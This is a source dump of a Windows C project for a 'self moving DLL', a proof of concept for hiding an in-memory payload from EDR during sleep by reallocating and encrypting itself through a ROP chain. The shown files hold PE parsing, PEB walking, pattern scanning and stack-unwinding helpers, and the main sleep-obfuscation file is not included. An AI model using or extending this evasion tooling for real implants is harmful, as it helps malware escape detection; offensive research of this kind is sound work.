├── testconsole ├── testconsole.cpp ├── testconsole.vcxproj.filters └── testconsole.vcxproj ├── self_moving_dll ├── sleepobf.h ├── dllmain.c ├── utils.h ├── patterscan.c ├── self_moving_dll.vcxproj.filters ├── stack.c ├── pe.c ├── self_moving_dll.vcxproj └── sleepobf.c ├── LICENSE ├── README.md ├── self_moving_dll.sln └── .gitignore /testconsole/testconsole.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() { 5 | while (true) { 6 | Sleep(2000); 7 | } 8 | } -------------------------------------------------------------------------------- /self_moving_dll/sleepobf.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "ntapi.h" 5 | 6 | #pragma comment(lib, "ntdll.lib") 7 | 8 | void sleep_obf(LONGLONG sleep_time); -------------------------------------------------------------------------------- /testconsole/testconsole.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 l1thium 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /self_moving_dll/dllmain.c: -------------------------------------------------------------------------------- 1 | #include "sleepobf.h" 2 | #include "utils.h" 3 | 4 | uint8_t* g_image_base; 5 | size_t g_image_size; 6 | 7 | 8 | DWORD dll_start(LPVOID lpThreadParameter) { 9 | printf("hello from self moving dll! try and catch me lolz >_<\n"); 10 | 11 | while (TRUE) { 12 | printf("sleeping..\n"); 13 | sleep_obf(10000); 14 | printf("awakened..\n"); 15 | } 16 | } 17 | 18 | BOOL APIENTRY DllMain( HMODULE hModule, 19 | DWORD ul_reason_for_call, 20 | LPVOID lpReserved 21 | ) 22 | { 23 | PE_BINARY pe = { 0 }; 24 | 25 | switch (ul_reason_for_call) 26 | { 27 | case DLL_PROCESS_ATTACH: 28 | parse_pe(hModule, &pe); 29 | g_image_base = hModule; 30 | g_image_size = pe.nthdrs->OptionalHeader.SizeOfImage; 31 | 32 | // note: you can change this part yourself to fit your use 33 | // this project is just a proof of concept 34 | CloseHandle(CreateThread(0, 0, dll_start, 0, 0, 0)); 35 | case DLL_THREAD_ATTACH: 36 | case DLL_THREAD_DETACH: 37 | case DLL_PROCESS_DETACH: 38 | break; 39 | } 40 | return TRUE; 41 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # selfmovingdll 2 | this is a DLL sleep obfuscation proof of concept 3 | where instead of changing the region of the DLL between RW/RWX 4 | it frees itself and allocates a new memory region for itself, all in sequence during ROP 5 | 6 | why?: 7 | RWX memory does not immediately mean it is suspicious, due to legit use of it by things like JIT just in time compilation 8 | however, repeatedly changing it between RW/RWX is a whole lot more suspicious, since it is not usual behavior for JIT, and is pretty typical for sleep obfuscated payloads 9 | 10 | extra info about this project: 11 | - instead of using waitable timers and other stuff, this project uses just a pure rop chain 12 | - automatically fixes all corrupted return addresses in the stack 13 | - encrypts using KsecDD kernel driver 14 | 15 | note: 16 | - may run into crashes if CRT is used, due to CRT holding function pointers back to it's own code 17 | - since this is only a proof of concept: 18 | - I did not do much with the DLL initialization process, just used a CreateThread 19 | - I did not implement stack spoofing, so there can still be detections regarding of that 20 | make sure to change these stuff to fit your use 21 | 22 | inspirations: 23 | https://sillywa.re/posts/flower-da-flowin-shc/ 24 | -------------------------------------------------------------------------------- /self_moving_dll/utils.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "ntapi.h" 5 | 6 | extern uint8_t* g_image_base; 7 | extern size_t g_image_size; 8 | 9 | #define array_len(arr) sizeof(arr) / sizeof(*arr) 10 | 11 | typedef struct _PE_BINARY { 12 | uint8_t* image; 13 | IMAGE_DOS_HEADER* doshdr; 14 | IMAGE_NT_HEADERS* nthdrs; 15 | IMAGE_SECTION_HEADER* secthdrs; 16 | IMAGE_DATA_DIRECTORY* datadir; 17 | } PE_BINARY; 18 | 19 | typedef struct _MEM_RANGE { 20 | uint8_t* start; 21 | uint8_t* end; 22 | } MEM_RANGE; 23 | 24 | // pe parsing 25 | BOOL parse_pe(uint8_t* image, _Outptr_ PE_BINARY* out_pe); 26 | uint32_t rva_to_file_offset(PE_BINARY* pe, uint32_t rva); 27 | MEM_RANGE find_section(PE_BINARY* pe, _In_opt_ const char* sect_name, _In_opt_ uint32_t required_flags); 28 | uint8_t* find_export(uint8_t* image, const char* export_name); 29 | 30 | // patern scanning 31 | PEB* get_peb(); 32 | uint8_t* get_loaded_module(const wchar_t* name); 33 | uint8_t* pattern_scan(uint8_t* start_addr, uint8_t* end_addr, const uint8_t* pattern, const char* mask); 34 | uint8_t* pattern_scan_section(uint8_t* image, const char* sect_name, const uint8_t* pattern, const char* mask); 35 | 36 | // stack 37 | RUNTIME_FUNCTION* find_function_entry(void* control_pc); 38 | int get_callstack(CONTEXT* ctx, void* out_ret_addr_array[], int ret_addr_array_capacity); -------------------------------------------------------------------------------- /self_moving_dll/patterscan.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | PEB* get_peb() { 4 | return (PEB*)__readgsqword(0x60); 5 | } 6 | 7 | uint8_t* get_loaded_module(const wchar_t* name) { 8 | PEB* peb = get_peb(); 9 | 10 | LIST_ENTRY* head = peb->Ldr->InMemoryOrderModuleList.Flink; 11 | LIST_ENTRY* curr = head; 12 | 13 | for (int count = 0;; count++) { 14 | if (count && curr == head) 15 | break; 16 | 17 | LDR_DATA_TABLE_ENTRY* entry = (LDR_DATA_TABLE_ENTRY*)((uint8_t*)(curr)-sizeof(LIST_ENTRY)); 18 | 19 | if (entry->BaseDllName.Buffer) { 20 | if (!lstrcmpW(entry->BaseDllName.Buffer, name)) 21 | return (uint8_t*)entry->DllBase; 22 | } 23 | curr = curr->Flink; 24 | } 25 | return NULL; 26 | } 27 | 28 | uint8_t* pattern_scan(uint8_t* start_addr, uint8_t* end_addr, const uint8_t* pattern, const char* mask) { 29 | for (uint8_t* addr = start_addr; addr < (end_addr - strlen(mask)); addr++) { 30 | BOOL found = TRUE; 31 | for (int i = 0; i < strlen(mask); i++) { 32 | if (mask[i] != '?' && addr[i] != pattern[i]) { 33 | found = FALSE; 34 | break; 35 | } 36 | } 37 | if (found) return addr; 38 | } 39 | 40 | return NULL; 41 | } 42 | 43 | uint8_t* pattern_scan_section(uint8_t* image, const char* sect_name, const uint8_t* pattern, const char* mask) { 44 | PE_BINARY pe = { 0 }; 45 | parse_pe(image, &pe); 46 | 47 | MEM_RANGE range = find_section(&pe, sect_name, NULL); 48 | 49 | if (!range.start || !range.end) 50 | return NULL; 51 | 52 | return pattern_scan(range.start, range.end, pattern, mask); 53 | } -------------------------------------------------------------------------------- /self_moving_dll/self_moving_dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | -------------------------------------------------------------------------------- /self_moving_dll/stack.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | RUNTIME_FUNCTION* find_function_entry(void* control_pc) { 4 | uint32_t control_rva = (uint8_t*)control_pc - g_image_base; 5 | PE_BINARY pe = { 0 }; 6 | parse_pe(g_image_base, &pe); 7 | 8 | IMAGE_DATA_DIRECTORY* exception_dir = &pe.datadir[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; 9 | RUNTIME_FUNCTION* table = pe.image + exception_dir->VirtualAddress; 10 | RUNTIME_FUNCTION* rtfunc = table; 11 | 12 | // do a binary search 13 | uintptr_t idxlo = 0; 14 | uintptr_t idxmid = 0; 15 | uintptr_t idxhi = exception_dir->Size / sizeof(RUNTIME_FUNCTION); 16 | 17 | while (idxhi > idxlo) { 18 | idxmid = (idxlo + idxhi) / 2; 19 | rtfunc = &table[idxmid]; 20 | 21 | if (control_rva < rtfunc->BeginAddress) { 22 | // continue searching lower half 23 | idxhi = idxmid; 24 | } else if (control_rva >= rtfunc->EndAddress) { 25 | // continue searching uper half 26 | idxlo = idxmid + 1; 27 | } else { 28 | printf("found function entry for 0x%p, RUNTIME_FUNCTION: 0x%p\n", control_pc, rtfunc); 29 | return rtfunc; 30 | } 31 | } 32 | 33 | return NULL; 34 | } 35 | 36 | 37 | int get_callstack(CONTEXT* ctx, void* out_ret_addr_array[], int ret_addr_array_capacity) { 38 | RUNTIME_FUNCTION* rtfunc = NULL; 39 | int frame_idx = 0; 40 | CONTEXT local_ctx = *ctx; 41 | 42 | while (local_ctx.Rip && (frame_idx < ret_addr_array_capacity)) { 43 | rtfunc = find_function_entry(local_ctx.Rip); 44 | 45 | if (rtfunc) { 46 | void* handler_data = NULL; 47 | void* establisher_frame_ptrs[2] = { 0 }; 48 | RtlVirtualUnwind(UNW_FLAG_NHANDLER, g_image_base, local_ctx.Rip, rtfunc, &local_ctx, &handler_data, establisher_frame_ptrs, NULL); 49 | } else { 50 | local_ctx.Rip = *(uintptr_t*)local_ctx.Rsp; 51 | local_ctx.Rsp += 8; 52 | } 53 | 54 | if (local_ctx.Rip && (frame_idx < ret_addr_array_capacity)) 55 | out_ret_addr_array[frame_idx++] = local_ctx.Rip; 56 | } 57 | 58 | return frame_idx; 59 | } -------------------------------------------------------------------------------- /self_moving_dll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35506.116 d17.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "self_moving_dll", "self_moving_dll\self_moving_dll.vcxproj", "{48F4267D-DC16-4FCB-A64A-5A24E3CC4683}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "testconsole", "testconsole\testconsole.vcxproj", "{76C51A4D-D470-48B5-B4FC-A2496A13B695}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Debug|x64.ActiveCfg = Debug|x64 19 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Debug|x64.Build.0 = Debug|x64 20 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Debug|x86.ActiveCfg = Debug|Win32 21 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Debug|x86.Build.0 = Debug|Win32 22 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Release|x64.ActiveCfg = Release|x64 23 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Release|x64.Build.0 = Release|x64 24 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Release|x86.ActiveCfg = Release|Win32 25 | {48F4267D-DC16-4FCB-A64A-5A24E3CC4683}.Release|x86.Build.0 = Release|Win32 26 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Debug|x64.ActiveCfg = Debug|x64 27 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Debug|x64.Build.0 = Debug|x64 28 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Debug|x86.ActiveCfg = Debug|Win32 29 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Debug|x86.Build.0 = Debug|Win32 30 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Release|x64.ActiveCfg = Release|x64 31 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Release|x64.Build.0 = Release|x64 32 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Release|x86.ActiveCfg = Release|Win32 33 | {76C51A4D-D470-48B5-B4FC-A2496A13B695}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | EndGlobal 39 | -------------------------------------------------------------------------------- /self_moving_dll/pe.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | BOOL parse_pe(uint8_t* image, _Out_ PE_BINARY* out_pe) { 4 | PE_BINARY pe = { 0 }; 5 | pe.image = image; 6 | pe.doshdr = (IMAGE_DOS_HEADER*)image; 7 | 8 | if (pe.doshdr->e_magic != IMAGE_DOS_SIGNATURE) 9 | return FALSE; 10 | 11 | pe.nthdrs = (IMAGE_NT_HEADERS*)(image + pe.doshdr->e_lfanew); 12 | pe.datadir = pe.nthdrs->OptionalHeader.DataDirectory; 13 | pe.secthdrs = IMAGE_FIRST_SECTION(pe.nthdrs); 14 | 15 | *out_pe = pe; 16 | return TRUE; 17 | } 18 | 19 | uint32_t rva_to_file_offset(PE_BINARY* pe, uint32_t rva) { 20 | for (int i = 0; i < pe->nthdrs->FileHeader.NumberOfSections; i++) { 21 | IMAGE_SECTION_HEADER* sect_hdr = &pe->secthdrs[i]; 22 | uint32_t sect_size = sect_hdr->Misc.VirtualSize ? sect_hdr->Misc.VirtualSize : sect_hdr->SizeOfRawData; 23 | 24 | if (rva >= sect_hdr->VirtualAddress && rva <= sect_hdr->VirtualAddress + sect_size) 25 | return rva - sect_hdr->VirtualAddress + sect_hdr->PointerToRawData; 26 | } 27 | } 28 | 29 | MEM_RANGE find_section(PE_BINARY* pe, _In_opt_ const char* sect_name, _In_opt_ uint32_t required_flags) { 30 | MEM_RANGE range = { 0 }; 31 | for (int i = 0; i < pe->nthdrs->FileHeader.NumberOfSections; i++) { 32 | IMAGE_SECTION_HEADER* sect_hdr = &pe->secthdrs[i]; 33 | 34 | uint8_t* start = pe->image + sect_hdr->VirtualAddress; 35 | uint8_t* end = pe->image + sect_hdr->VirtualAddress + sect_hdr->Misc.VirtualSize; 36 | 37 | if (sect_name && strlen(sect_name) && memcmp(sect_hdr->Name, sect_name, sizeof(sect_hdr->Name))) 38 | continue; 39 | 40 | if (required_flags && !(sect_hdr->Characteristics & required_flags)) 41 | continue; 42 | 43 | range.start = start; 44 | range.end = end; 45 | return range; 46 | } 47 | return range; 48 | } 49 | 50 | uint8_t* find_export(uint8_t* image, const char* export_name) { 51 | PE_BINARY pe = { 0 }; 52 | parse_pe(image, &pe); 53 | 54 | IMAGE_DATA_DIRECTORY* export_data_dir = &pe.datadir[IMAGE_DIRECTORY_ENTRY_EXPORT]; 55 | IMAGE_EXPORT_DIRECTORY* exportdir = image + export_data_dir->VirtualAddress; 56 | 57 | uint32_t* address_rvas = image + exportdir->AddressOfFunctions; 58 | uint32_t* name_rvas = image + exportdir->AddressOfNames; 59 | uint16_t* ordinal_rvas = image + exportdir->AddressOfNameOrdinals; 60 | 61 | for (int i = 0; i < exportdir->NumberOfNames; i++) { 62 | uint8_t* name = image + name_rvas[i]; 63 | uint8_t* addr = image + address_rvas[ordinal_rvas[i]]; 64 | 65 | if (!strcmp(name, export_name)) { 66 | if (addr >= (image + export_data_dir->VirtualAddress) 67 | && addr < (image + export_data_dir->VirtualAddress + export_data_dir->Size)) { 68 | // TOOD: handle forwarded functions .. 69 | } 70 | return addr; 71 | } 72 | } 73 | return NULL; 74 | } -------------------------------------------------------------------------------- /testconsole/testconsole.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {76c51a4d-d470-48b5-b4fc-a2496a13b695} 25 | testconsole 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | -------------------------------------------------------------------------------- /self_moving_dll/self_moving_dll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {48f4267d-dc16-4fcb-a64a-5a24e3cc4683} 25 | selfmovingdll 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;SELFMOVINGDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 78 | true 79 | Use 80 | pch.h 81 | 82 | 83 | Windows 84 | true 85 | false 86 | 87 | 88 | 89 | 90 | Level3 91 | true 92 | true 93 | true 94 | WIN32;NDEBUG;SELFMOVINGDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 95 | true 96 | Use 97 | pch.h 98 | 99 | 100 | Windows 101 | true 102 | true 103 | true 104 | false 105 | 106 | 107 | 108 | 109 | Level3 110 | true 111 | _DEBUG;SELFMOVINGDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 112 | true 113 | NotUsing 114 | 115 | 116 | 117 | 118 | Windows 119 | true 120 | false 121 | 122 | 123 | 124 | 125 | Level3 126 | true 127 | true 128 | true 129 | NDEBUG;SELFMOVINGDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 130 | true 131 | NotUsing 132 | 133 | 134 | 135 | 136 | Windows 137 | true 138 | true 139 | true 140 | false 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | x64/ 2 | 3 | ## Ignore Visual Studio temporary files, build results, and 4 | ## files generated by popular Visual Studio add-ons. 5 | ## 6 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 7 | 8 | # User-specific files 9 | *.rsuser 10 | *.suo 11 | *.user 12 | *.userosscache 13 | *.sln.docstates 14 | 15 | # User-specific files (MonoDevelop/Xamarin Studio) 16 | *.userprefs 17 | 18 | # Mono auto generated files 19 | mono_crash.* 20 | 21 | # Build results 22 | [Dd]ebug/ 23 | [Dd]ebugPublic/ 24 | [Rr]elease/ 25 | [Rr]eleases/ 26 | x64/ 27 | x86/ 28 | [Ww][Ii][Nn]32/ 29 | [Aa][Rr][Mm]/ 30 | [Aa][Rr][Mm]64/ 31 | bld/ 32 | [Bb]in/ 33 | [Oo]bj/ 34 | [Ll]og/ 35 | [Ll]ogs/ 36 | 37 | # Visual Studio 2015/2017 cache/options directory 38 | .vs/ 39 | # Uncomment if you have tasks that create the project's static files in wwwroot 40 | #wwwroot/ 41 | 42 | # Visual Studio 2017 auto generated files 43 | Generated\ Files/ 44 | 45 | # MSTest test Results 46 | [Tt]est[Rr]esult*/ 47 | [Bb]uild[Ll]og.* 48 | 49 | # NUnit 50 | *.VisualState.xml 51 | TestResult.xml 52 | nunit-*.xml 53 | 54 | # Build Results of an ATL Project 55 | [Dd]ebugPS/ 56 | [Rr]eleasePS/ 57 | dlldata.c 58 | 59 | # Benchmark Results 60 | BenchmarkDotNet.Artifacts/ 61 | 62 | # .NET Core 63 | project.lock.json 64 | project.fragment.lock.json 65 | artifacts/ 66 | 67 | # ASP.NET Scaffolding 68 | ScaffoldingReadMe.txt 69 | 70 | # StyleCop 71 | StyleCopReport.xml 72 | 73 | # Files built by Visual Studio 74 | *_i.c 75 | *_p.c 76 | *_h.h 77 | *.ilk 78 | *.meta 79 | *.obj 80 | *.iobj 81 | *.pch 82 | *.pdb 83 | *.ipdb 84 | *.pgc 85 | *.pgd 86 | *.rsp 87 | # but not Directory.Build.rsp, as it configures directory-level build defaults 88 | !Directory.Build.rsp 89 | *.sbr 90 | *.tlb 91 | *.tli 92 | *.tlh 93 | *.tmp 94 | *.tmp_proj 95 | *_wpftmp.csproj 96 | *.log 97 | *.tlog 98 | *.vspscc 99 | *.vssscc 100 | .builds 101 | *.pidb 102 | *.svclog 103 | *.scc 104 | 105 | # Chutzpah Test files 106 | _Chutzpah* 107 | 108 | # Visual C++ cache files 109 | ipch/ 110 | *.aps 111 | *.ncb 112 | *.opendb 113 | *.opensdf 114 | *.sdf 115 | *.cachefile 116 | *.VC.db 117 | *.VC.VC.opendb 118 | 119 | # Visual Studio profiler 120 | *.psess 121 | *.vsp 122 | *.vspx 123 | *.sap 124 | 125 | # Visual Studio Trace Files 126 | *.e2e 127 | 128 | # TFS 2012 Local Workspace 129 | $tf/ 130 | 131 | # Guidance Automation Toolkit 132 | *.gpState 133 | 134 | # ReSharper is a .NET coding add-in 135 | _ReSharper*/ 136 | *.[Rr]e[Ss]harper 137 | *.DotSettings.user 138 | 139 | # TeamCity is a build add-in 140 | _TeamCity* 141 | 142 | # DotCover is a Code Coverage Tool 143 | *.dotCover 144 | 145 | # AxoCover is a Code Coverage Tool 146 | .axoCover/* 147 | !.axoCover/settings.json 148 | 149 | # Coverlet is a free, cross platform Code Coverage Tool 150 | coverage*.json 151 | coverage*.xml 152 | coverage*.info 153 | 154 | # Visual Studio code coverage results 155 | *.coverage 156 | *.coveragexml 157 | 158 | # NCrunch 159 | _NCrunch_* 160 | .*crunch*.local.xml 161 | nCrunchTemp_* 162 | 163 | # MightyMoose 164 | *.mm.* 165 | AutoTest.Net/ 166 | 167 | # Web workbench (sass) 168 | .sass-cache/ 169 | 170 | # Installshield output folder 171 | [Ee]xpress/ 172 | 173 | # DocProject is a documentation generator add-in 174 | DocProject/buildhelp/ 175 | DocProject/Help/*.HxT 176 | DocProject/Help/*.HxC 177 | DocProject/Help/*.hhc 178 | DocProject/Help/*.hhk 179 | DocProject/Help/*.hhp 180 | DocProject/Help/Html2 181 | DocProject/Help/html 182 | 183 | # Click-Once directory 184 | publish/ 185 | 186 | # Publish Web Output 187 | *.[Pp]ublish.xml 188 | *.azurePubxml 189 | # Note: Comment the next line if you want to checkin your web deploy settings, 190 | # but database connection strings (with potential passwords) will be unencrypted 191 | *.pubxml 192 | *.publishproj 193 | 194 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 195 | # checkin your Azure Web App publish settings, but sensitive information contained 196 | # in these scripts will be unencrypted 197 | PublishScripts/ 198 | 199 | # NuGet Packages 200 | *.nupkg 201 | # NuGet Symbol Packages 202 | *.snupkg 203 | # The packages folder can be ignored because of Package Restore 204 | **/[Pp]ackages/* 205 | # except build/, which is used as an MSBuild target. 206 | !**/[Pp]ackages/build/ 207 | # Uncomment if necessary however generally it will be regenerated when needed 208 | #!**/[Pp]ackages/repositories.config 209 | # NuGet v3's project.json files produces more ignorable files 210 | *.nuget.props 211 | *.nuget.targets 212 | 213 | # Microsoft Azure Build Output 214 | csx/ 215 | *.build.csdef 216 | 217 | # Microsoft Azure Emulator 218 | ecf/ 219 | rcf/ 220 | 221 | # Windows Store app package directories and files 222 | AppPackages/ 223 | BundleArtifacts/ 224 | Package.StoreAssociation.xml 225 | _pkginfo.txt 226 | *.appx 227 | *.appxbundle 228 | *.appxupload 229 | 230 | # Visual Studio cache files 231 | # files ending in .cache can be ignored 232 | *.[Cc]ache 233 | # but keep track of directories ending in .cache 234 | !?*.[Cc]ache/ 235 | 236 | # Others 237 | ClientBin/ 238 | ~$* 239 | *~ 240 | *.dbmdl 241 | *.dbproj.schemaview 242 | *.jfm 243 | *.pfx 244 | *.publishsettings 245 | orleans.codegen.cs 246 | 247 | # Including strong name files can present a security risk 248 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 249 | #*.snk 250 | 251 | # Since there are multiple workflows, uncomment next line to ignore bower_components 252 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 253 | #bower_components/ 254 | 255 | # RIA/Silverlight projects 256 | Generated_Code/ 257 | 258 | # Backup & report files from converting an old project file 259 | # to a newer Visual Studio version. Backup files are not needed, 260 | # because we have git ;-) 261 | _UpgradeReport_Files/ 262 | Backup*/ 263 | UpgradeLog*.XML 264 | UpgradeLog*.htm 265 | ServiceFabricBackup/ 266 | *.rptproj.bak 267 | 268 | # SQL Server files 269 | *.mdf 270 | *.ldf 271 | *.ndf 272 | 273 | # Business Intelligence projects 274 | *.rdl.data 275 | *.bim.layout 276 | *.bim_*.settings 277 | *.rptproj.rsuser 278 | *- [Bb]ackup.rdl 279 | *- [Bb]ackup ([0-9]).rdl 280 | *- [Bb]ackup ([0-9][0-9]).rdl 281 | 282 | # Microsoft Fakes 283 | FakesAssemblies/ 284 | 285 | # GhostDoc plugin setting file 286 | *.GhostDoc.xml 287 | 288 | # Node.js Tools for Visual Studio 289 | .ntvs_analysis.dat 290 | node_modules/ 291 | 292 | # Visual Studio 6 build log 293 | *.plg 294 | 295 | # Visual Studio 6 workspace options file 296 | *.opt 297 | 298 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 299 | *.vbw 300 | 301 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 302 | *.vbp 303 | 304 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 305 | *.dsw 306 | *.dsp 307 | 308 | # Visual Studio 6 technical files 309 | *.ncb 310 | *.aps 311 | 312 | # Visual Studio LightSwitch build output 313 | **/*.HTMLClient/GeneratedArtifacts 314 | **/*.DesktopClient/GeneratedArtifacts 315 | **/*.DesktopClient/ModelManifest.xml 316 | **/*.Server/GeneratedArtifacts 317 | **/*.Server/ModelManifest.xml 318 | _Pvt_Extensions 319 | 320 | # Paket dependency manager 321 | .paket/paket.exe 322 | paket-files/ 323 | 324 | # FAKE - F# Make 325 | .fake/ 326 | 327 | # CodeRush personal settings 328 | .cr/personal 329 | 330 | # Python Tools for Visual Studio (PTVS) 331 | __pycache__/ 332 | *.pyc 333 | 334 | # Cake - Uncomment if you are using it 335 | # tools/** 336 